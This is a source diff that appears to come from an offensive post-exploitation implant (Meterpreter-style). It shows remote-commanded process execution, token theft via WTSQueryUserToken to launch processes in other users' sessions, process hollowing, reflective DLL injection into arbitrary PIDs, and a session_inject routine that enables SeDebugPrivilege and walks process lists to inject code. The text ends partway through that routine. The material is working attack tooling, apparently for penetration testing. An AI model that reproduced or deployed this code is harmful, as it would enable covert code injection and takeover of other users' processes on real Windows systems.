||||||
|
|
||||||
|
si.lpDesktop = cpDesktop;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
// If the remote endpoint provided arguments, combine them with the
|
// If the remote endpoint provided arguments, combine them with the
|
||||||
// executable to produce a command line
|
// executable to produce a command line
|
||||||
|
@ -174,8 +193,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
chops.read = process_channel_read;
|
chops.read = process_channel_read;
|
||||||
|
|
||||||
// Allocate the pool channel
|
// Allocate the pool channel
|
||||||
if (!(newChannel = channel_create_pool(0,
|
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
|
||||||
CHANNEL_FLAG_SYNCHRONOUS, &chops)))
|
|
||||||
{
|
{
|
||||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||||
break;
|
break;
|
||||||
|
@ -185,8 +203,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
channel_set_type(newChannel, "process");
|
channel_set_type(newChannel, "process");
|
||||||
|
|
||||||
// Allocate the stdin and stdout pipes
|
// Allocate the stdin and stdout pipes
|
||||||
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) ||
|
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
|
||||||
(!CreatePipe(&out[0], &out[1], &sa, 0)))
|
|
||||||
{
|
{
|
||||||
channel_destroy(newChannel, NULL);
|
channel_destroy(newChannel, NULL);
|
||||||
|
|
||||||
|
@ -212,8 +229,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
ctx->pStdout = out[0];
|
ctx->pStdout = out[0];
|
||||||
|
|
||||||
// Add the channel identifier to the response packet
|
// Add the channel identifier to the response packet
|
||||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
|
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
|
||||||
channel_get_id(newChannel));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// If the hidden flag is set, create the process hidden
|
// If the hidden flag is set, create the process hidden
|
||||||
|
@ -243,18 +259,63 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try to execute the process with duplicated token
|
// Try to execute the process with duplicated token
|
||||||
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit,
|
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
||||||
createFlags, NULL, NULL, &si, &pi))
|
|
||||||
{
|
{
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
else if( flags & PROCESS_EXECUTE_FLAG_SESSION )
|
||||||
|
{
|
||||||
|
typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken );
|
||||||
|
WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
HMODULE hWtsapi32 = NULL;
|
||||||
|
BOOL bSuccess = FALSE;
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
|
||||||
|
hWtsapi32 = LoadLibraryA( "wtsapi32.dll" );
|
||||||
|
|
||||||
|
session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION );
|
||||||
|
|
||||||
|
if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 )
|
||||||
|
{
|
||||||
|
if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
|
||||||
|
BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" );
|
||||||
|
if( !pWTSQueryUserToken )
|
||||||
|
BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" );
|
||||||
|
|
||||||
|
if( !pWTSQueryUserToken( session, &hToken ) )
|
||||||
|
BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" );
|
||||||
|
|
||||||
|
if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
|
||||||
|
BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
|
||||||
|
}
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hWtsapi32 )
|
||||||
|
FreeLibrary( hWtsapi32 );
|
||||||
|
|
||||||
|
if( hToken )
|
||||||
|
CloseHandle( hToken );
|
||||||
|
|
||||||
|
result = dwResult;
|
||||||
|
|
||||||
|
if( result != ERROR_SUCCESS )
|
||||||
|
break;
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
// Try to execute the process
|
// Try to execute the process
|
||||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit,
|
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
||||||
createFlags, NULL, NULL, &si, &pi))
|
|
||||||
{
|
{
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
|
@ -270,10 +331,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
// Unmap the dummy executable and map in the new executable into the
|
// Unmap the dummy executable and map in the new executable into the
|
||||||
// target process
|
// target process
|
||||||
//
|
//
|
||||||
if (!MapNewExecutableRegionInProcess(
|
if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer))
|
||||||
pi.hProcess,
|
|
||||||
pi.hThread,
|
|
||||||
inMemoryData.buffer))
|
|
||||||
{
|
{
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
|
@ -291,10 +349,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Add the process identifier to the response packet
|
// Add the process identifier to the response packet
|
||||||
packet_add_tlv_uint(response, TLV_TYPE_PID,
|
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
|
||||||
pi.dwProcessId);
|
|
||||||
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,
|
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess);
|
||||||
(DWORD)pi.hProcess);
|
|
||||||
|
|
||||||
CloseHandle(pi.hThread);
|
CloseHandle(pi.hThread);
|
||||||
|
|
||||||
|
@ -312,6 +369,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
if (path && arguments && commandLine)
|
if (path && arguments && commandLine)
|
||||||
free(commandLine);
|
free(commandLine);
|
||||||
|
|
||||||
|
if( cpDesktop )
|
||||||
|
free( cpDesktop );
|
||||||
|
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
|
|
|
@ -1,12 +1,88 @@
|
||||||
#include "precomp.h"
|
#include "precomp.h"
|
||||||
#include "ps.h"
|
#include "ps.h"
|
||||||
|
#include "./../session.h"
|
||||||
|
#include "./../../../../../common/arch/win/i386/base_inject.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get the arch type (either x86 or x64) for a given PE (either PE32 or PE64) DLL image.
|
||||||
|
*/
|
||||||
|
DWORD ps_getarch_dll( LPVOID lpDllBuffer )
|
||||||
|
{
|
||||||
|
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
|
||||||
|
PIMAGE_NT_HEADERS pNtHeader = NULL;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !lpDllBuffer )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// get the File Offset of the modules NT Header
|
||||||
|
pNtHeader = (PIMAGE_NT_HEADERS)( ((UINT_PTR)lpDllBuffer) + ((PIMAGE_DOS_HEADER)lpDllBuffer)->e_lfanew );
|
||||||
|
|
||||||
|
if( pNtHeader->OptionalHeader.Magic == 0x010B ) // PE32
|
||||||
|
dwDllArch = PROCESS_ARCH_X86;
|
||||||
|
else if( pNtHeader->OptionalHeader.Magic == 0x020B ) // PE64
|
||||||
|
dwDllArch = PROCESS_ARCH_X64;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
return dwDllArch;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Inject a DLL into another process via Reflective DLL Injection.
|
||||||
|
*/
|
||||||
|
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, char * cpCommandLine )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
DWORD dwPidArch = PROCESS_ARCH_UNKNOWN;
|
||||||
|
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
|
||||||
|
LPVOID lpDllBuffer = NULL;
|
||||||
|
DWORD dwDllLenght = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !pDllBuffer )
|
||||||
|
BREAK_WITH_ERROR( "[PS] ps_inject_dll. No Dll buffer specified", ERROR_INVALID_PARAMETER );
|
||||||
|
|
||||||
|
dwPidArch = ps_getarch( dwPid );
|
||||||
|
|
||||||
|
if( dwPidArch == PROCESS_ARCH_X86 )
|
||||||
|
{
|
||||||
|
lpDllBuffer = pDllBuffer->lpPE32DllBuffer;
|
||||||
|
dwDllLenght = pDllBuffer->dwPE32DllLenght;
|
||||||
|
}
|
||||||
|
else if( dwPidArch == PROCESS_ARCH_X64 )
|
||||||
|
{
|
||||||
|
lpDllBuffer = pDllBuffer->lpPE64DllBuffer;
|
||||||
|
dwDllLenght = pDllBuffer->dwPE64DllLenght;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine target pid arhitecture", ERROR_INVALID_DATA );
|
||||||
|
}
|
||||||
|
|
||||||
|
dwDllArch = ps_getarch_dll( lpDllBuffer );
|
||||||
|
if( dwDllArch == PROCESS_ARCH_UNKNOWN )
|
||||||
|
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine DLL arhitecture", ERROR_BAD_FORMAT );
|
||||||
|
|
||||||
|
if( dwDllArch != dwPidArch )
|
||||||
|
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
|
||||||
|
|
||||||
|
dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght, cpCommandLine );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Get the architecture of the given process.
|
* Get the architecture of the given process.
|
||||||
*/
|
*/
|
||||||
DWORD ps_getarch( DWORD pid, DWORD dwNativeArch )
|
DWORD ps_getarch( DWORD dwPid )
|
||||||
{
|
{
|
||||||
DWORD result = PROCESS_ARCH_UNKNOWN;
|
DWORD result = PROCESS_ARCH_UNKNOWN;
|
||||||
|
static DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||||
HANDLE hKernel = NULL;
|
HANDLE hKernel = NULL;
|
||||||
HANDLE hProcess = NULL;
|
HANDLE hProcess = NULL;
|
||||||
ISWOW64PROCESS pIsWow64Process = NULL;
|
ISWOW64PROCESS pIsWow64Process = NULL;
|
||||||
|
@ -14,6 +90,10 @@ DWORD ps_getarch( DWORD pid, DWORD dwNativeArch )
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
|
// grab the native systems architecture the first time we use this function...
|
||||||
|
if( dwNativeArch == PROCESS_ARCH_UNKNOWN )
|
||||||
|
dwNativeArch = ps_getnativearch();
|
||||||
|
|
||||||
// first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system.
|
// first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system.
|
||||||
result = PROCESS_ARCH_X86;
|
result = PROCESS_ARCH_X86;
|
||||||
|
|
||||||
|
@ -28,10 +108,10 @@ DWORD ps_getarch( DWORD pid, DWORD dwNativeArch )
|
||||||
// now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it
|
// now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it
|
||||||
result = PROCESS_ARCH_UNKNOWN;
|
result = PROCESS_ARCH_UNKNOWN;
|
||||||
|
|
||||||
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
|
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, dwPid );
|
||||||
if( !hProcess )
|
if( !hProcess )
|
||||||
{
|
{
|
||||||
hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid );
|
hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid );
|
||||||
if( !hProcess )
|
if( !hProcess )
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -319,13 +399,16 @@ BOOL ps_getusername( DWORD pid, char * cpUserName, DWORD dwUserNameSize )
|
||||||
*/
|
*/
|
||||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
|
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
|
||||||
{
|
{
|
||||||
Tlv entries[6] = {0};
|
Tlv entries[7] = {0};
|
||||||
|
DWORD dwSessionId = 0;
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if( !response )
|
if( !response )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
dwSessionId = session_id( dwPid );
|
||||||
|
|
||||||
dwPid = htonl( dwPid );
|
dwPid = htonl( dwPid );
|
||||||
entries[0].header.type = TLV_TYPE_PID;
|
entries[0].header.type = TLV_TYPE_PID;
|
||||||
entries[0].header.length = sizeof( DWORD );
|
entries[0].header.length = sizeof( DWORD );
|
||||||
|
@ -358,20 +441,24 @@ VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpE
|
||||||
entries[5].header.type = TLV_TYPE_PARENT_PID;
|
entries[5].header.type = TLV_TYPE_PARENT_PID;
|
||||||
entries[5].header.length = sizeof( DWORD );
|
entries[5].header.length = sizeof( DWORD );
|
||||||
entries[5].buffer = (PUCHAR)&dwParentPid;
|
entries[5].buffer = (PUCHAR)&dwParentPid;
|
||||||
|
|
||||||
|
dwSessionId = htonl( dwSessionId );
|
||||||
|
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
|
||||||
|
entries[6].header.length = sizeof( DWORD );
|
||||||
|
entries[6].buffer = (PUCHAR)&dwSessionId;
|
||||||
|
|
||||||
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 6 );
|
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
|
||||||
|
|
||||||
} while(0);
|
} while(0);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 200 and above.
|
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 2000 and above.
|
||||||
*/
|
*/
|
||||||
DWORD ps_list_via_toolhelp( Packet * response )
|
DWORD ps_list_via_toolhelp( Packet * response )
|
||||||
{
|
{
|
||||||
DWORD result = ERROR_INVALID_HANDLE;
|
DWORD result = ERROR_INVALID_HANDLE;
|
||||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
|
||||||
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
|
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
|
||||||
PROCESS32FIRST pProcess32First = NULL;
|
PROCESS32FIRST pProcess32First = NULL;
|
||||||
PROCESS32NEXT pProcess32Next = NULL;
|
PROCESS32NEXT pProcess32Next = NULL;
|
||||||
|
@ -400,8 +487,6 @@ DWORD ps_list_via_toolhelp( Packet * response )
|
||||||
|
|
||||||
if( !pProcess32First( hProcessSnap, &pe32 ) )
|
if( !pProcess32First( hProcessSnap, &pe32 ) )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
dwNativeArch = ps_getnativearch();
|
|
||||||
|
|
||||||
result = ERROR_SUCCESS;
|
result = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
@ -416,7 +501,7 @@ DWORD ps_list_via_toolhelp( Packet * response )
|
||||||
|
|
||||||
ps_getusername( pe32.th32ProcessID, (char *)&cUserName, 1024 );
|
ps_getusername( pe32.th32ProcessID, (char *)&cUserName, 1024 );
|
||||||
|
|
||||||
dwProcessArch = ps_getarch( pe32.th32ProcessID, dwNativeArch );
|
dwProcessArch = ps_getarch( pe32.th32ProcessID );
|
||||||
|
|
||||||
ps_addresult( response, pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile, cExePath, cUserName, dwProcessArch );
|
ps_addresult( response, pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile, cExePath, cUserName, dwProcessArch );
|
||||||
|
|
||||||
|
@ -442,7 +527,6 @@ DWORD ps_list_via_toolhelp( Packet * response )
|
||||||
DWORD ps_list_via_psapi( Packet * response )
|
DWORD ps_list_via_psapi( Packet * response )
|
||||||
{
|
{
|
||||||
DWORD result = ERROR_INVALID_HANDLE;
|
DWORD result = ERROR_INVALID_HANDLE;
|
||||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
|
||||||
HMODULE hPsapi = NULL;
|
HMODULE hPsapi = NULL;
|
||||||
ENUMPROCESSES pEnumProcesses = NULL;
|
ENUMPROCESSES pEnumProcesses = NULL;
|
||||||
ENUMPROCESSMODULES pEnumProcessModules = NULL;
|
ENUMPROCESSMODULES pEnumProcessModules = NULL;
|
||||||
|
@ -467,8 +551,6 @@ DWORD ps_list_via_psapi( Packet * response )
|
||||||
if( !pEnumProcesses( (DWORD *)&dwProcessIds, sizeof(dwProcessIds), &dwBytesReturned ) )
|
if( !pEnumProcesses( (DWORD *)&dwProcessIds, sizeof(dwProcessIds), &dwBytesReturned ) )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
dwNativeArch = ps_getnativearch();
|
|
||||||
|
|
||||||
result = ERROR_SUCCESS;
|
result = ERROR_SUCCESS;
|
||||||
|
|
||||||
for( index=0 ; index<(dwBytesReturned/sizeof(DWORD)); index++ )
|
for( index=0 ; index<(dwBytesReturned/sizeof(DWORD)); index++ )
|
||||||
|
@ -502,7 +584,7 @@ DWORD ps_list_via_psapi( Packet * response )
|
||||||
|
|
||||||
ps_getusername( dwProcessIds[index], (char *)&cUserName, 1024 );
|
ps_getusername( dwProcessIds[index], (char *)&cUserName, 1024 );
|
||||||
|
|
||||||
dwProcessArch = ps_getarch( dwProcessIds[index], dwNativeArch );
|
dwProcessArch = ps_getarch( dwProcessIds[index] );
|
||||||
|
|
||||||
ps_addresult( response, dwProcessIds[index], 0, cExePath, cExePath, cUserName, dwProcessArch );
|
ps_addresult( response, dwProcessIds[index], 0, cExePath, cExePath, cUserName, dwProcessArch );
|
||||||
}
|
}
|
||||||
|
@ -521,12 +603,9 @@ DWORD ps_list_via_psapi( Packet * response )
|
||||||
*/
|
*/
|
||||||
DWORD ps_list_via_brute( Packet * response )
|
DWORD ps_list_via_brute( Packet * response )
|
||||||
{
|
{
|
||||||
DWORD result = ERROR_SUCCESS;
|
DWORD result = ERROR_SUCCESS;
|
||||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
DWORD pid = 0;
|
||||||
DWORD pid = 0;
|
|
||||||
|
|
||||||
dwNativeArch = ps_getnativearch();
|
|
||||||
|
|
||||||
for( pid=0 ; pid<0xFFFF ; pid++ )
|
for( pid=0 ; pid<0xFFFF ; pid++ )
|
||||||
{
|
{
|
||||||
HANDLE hProcess = NULL;
|
HANDLE hProcess = NULL;
|
||||||
|
@ -546,7 +625,7 @@ DWORD ps_list_via_brute( Packet * response )
|
||||||
|
|
||||||
ps_getusername( pid, (char *)&cUserName, 1024 );
|
ps_getusername( pid, (char *)&cUserName, 1024 );
|
||||||
|
|
||||||
dwProcessArch = ps_getarch( pid, dwNativeArch );
|
dwProcessArch = ps_getarch( pid );
|
||||||
|
|
||||||
ps_addresult( response, pid, 0, cExeName, cExePath, cUserName, dwProcessArch );
|
ps_addresult( response, pid, 0, cExeName, cExePath, cUserName, dwProcessArch );
|
||||||
}
|
}
|
||||||
|
|
|
@ -25,6 +25,14 @@ typedef DWORD (WINAPI * GETMODULEBASENAMEA)( HANDLE hProcess, HMODULE hModule, L
|
||||||
|
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
|
|
||||||
|
typedef struct _DLL_BUFFER
|
||||||
|
{
|
||||||
|
LPVOID lpPE32DllBuffer;
|
||||||
|
DWORD dwPE32DllLenght;
|
||||||
|
LPVOID lpPE64DllBuffer;
|
||||||
|
DWORD dwPE64DllLenght;
|
||||||
|
} DLL_BUFFER;
|
||||||
|
|
||||||
typedef struct _PROCESS_BASIC_INFORMATION
|
typedef struct _PROCESS_BASIC_INFORMATION
|
||||||
{
|
{
|
||||||
PVOID Reserved1;
|
PVOID Reserved1;
|
||||||
|
@ -55,6 +63,12 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
|
||||||
|
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
|
|
||||||
|
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, char * cpCommandLine );
|
||||||
|
|
||||||
|
DWORD ps_getarch( DWORD dwPid );
|
||||||
|
|
||||||
|
DWORD ps_getnativearch( VOID );
|
||||||
|
|
||||||
DWORD ps_list_via_toolhelp( Packet * response );
|
DWORD ps_list_via_toolhelp( Packet * response );
|
||||||
|
|
||||||
DWORD ps_list_via_psapi( Packet * response );
|
DWORD ps_list_via_psapi( Packet * response );
|
||||||
|
|
|
@ -0,0 +1,198 @@
|
||||||
|
#include "precomp.h"
|
||||||
|
#include "session.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Returns the session id associated with a process.
|
||||||
|
* Returns -1 if we cant determine the session id (e.g. insufficient privileges).
|
||||||
|
* Returns 0 by default on NT4.
|
||||||
|
*/
|
||||||
|
DWORD session_id( DWORD dwProcessId )
|
||||||
|
{
|
||||||
|
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
||||||
|
|
||||||
|
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
|
||||||
|
HMODULE hKernel = NULL;
|
||||||
|
DWORD dwSessionId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !pProcessIdToSessionId )
|
||||||
|
{
|
||||||
|
hKernel = LoadLibrary( "kernel32.dll" );
|
||||||
|
if( hKernel )
|
||||||
|
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( !pProcessIdToSessionId )
|
||||||
|
break;
|
||||||
|
|
||||||
|
if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) )
|
||||||
|
dwSessionId = -1;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hKernel )
|
||||||
|
FreeLibrary( hKernel );
|
||||||
|
|
||||||
|
return dwSessionId;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Returns the session id attached to the physical console.
|
||||||
|
* Returns 0 by default on NT4 and 2000.
|
||||||
|
*/
|
||||||
|
DWORD session_activeid()
|
||||||
|
{
|
||||||
|
typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID );
|
||||||
|
|
||||||
|
static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL;
|
||||||
|
HMODULE hKernel = NULL;
|
||||||
|
DWORD dwSessionId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !pWTSGetActiveConsoleSessionId )
|
||||||
|
{
|
||||||
|
hKernel = LoadLibrary( "kernel32.dll" );
|
||||||
|
if( hKernel )
|
||||||
|
pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( !pWTSGetActiveConsoleSessionId )
|
||||||
|
break;
|
||||||
|
|
||||||
|
dwSessionId = pWTSGetActiveConsoleSessionId();
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hKernel )
|
||||||
|
FreeLibrary( hKernel );
|
||||||
|
|
||||||
|
return dwSessionId;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
|
||||||
|
*/
|
||||||
|
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, char * cpCommandLine )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_INVALID_HANDLE;
|
||||||
|
DWORD pid = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
for( pid=0 ; pid<0xFFFF ; pid++ )
|
||||||
|
{
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
|
||||||
|
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
|
||||||
|
if( !hProcess )
|
||||||
|
continue;
|
||||||
|
|
||||||
|
CloseHandle( hProcess );
|
||||||
|
|
||||||
|
if( dwSessionId == session_id( pid ) )
|
||||||
|
{
|
||||||
|
dwResult = ps_inject( pid, pDllBuffer, cpCommandLine );
|
||||||
|
if( dwResult == ERROR_SUCCESS )
|
||||||
|
{
|
||||||
|
dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Inject an arbitrary DLL into a process running in specific Windows session.
|
||||||
|
*/
|
||||||
|
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, char * cpCommandLine )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_INVALID_HANDLE;
|
||||||
|
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
|
||||||
|
PROCESS32FIRST pProcess32First = NULL;
|
||||||
|
PROCESS32NEXT pProcess32Next = NULL;
|
||||||
|
HANDLE hProcessSnap = NULL;
|
||||||
|
HMODULE hKernel = NULL;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
BOOL bUseBruteForce = TRUE;
|
||||||
|
PROCESSENTRY32 pe32 = {0};
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
// If we can, get SeDebugPrivilege...
|
||||||
|
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES priv = {0};
|
||||||
|
|
||||||
|
priv.PrivilegeCount = 1;
|
||||||
|
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
|
||||||
|
{
|
||||||
|
if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
|
||||||
|
dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle( hToken );
|
||||||
|
}
|
||||||
|
|
||||||
|
hKernel = LoadLibrary( "kernel32" );
|
||||||
|
if( !hKernel )
|
||||||
|
break;
|
||||||
|
|
||||||
|
pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
|
||||||
|
pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" );
|
||||||
|
pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" );
|
||||||
|
|
||||||
|
if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next )
|
||||||
|
break;
|
||||||
|
|
||||||
|
hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
|
||||||
|
if( hProcessSnap == INVALID_HANDLE_VALUE )
|
||||||
|
break;
|
||||||
|
|
||||||
|
pe32.dwSize = sizeof( PROCESSENTRY32 );
|
||||||
|
|
||||||
|
if( !pProcess32First( hProcessSnap, &pe32 ) )
|
||||||
|
break;
|
||||||
|
|
||||||
|
bUseBruteForce = FALSE;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( dwSessionId == session_id( pe32.th32ProcessID ) )
|
||||||
|
{
|
||||||
|
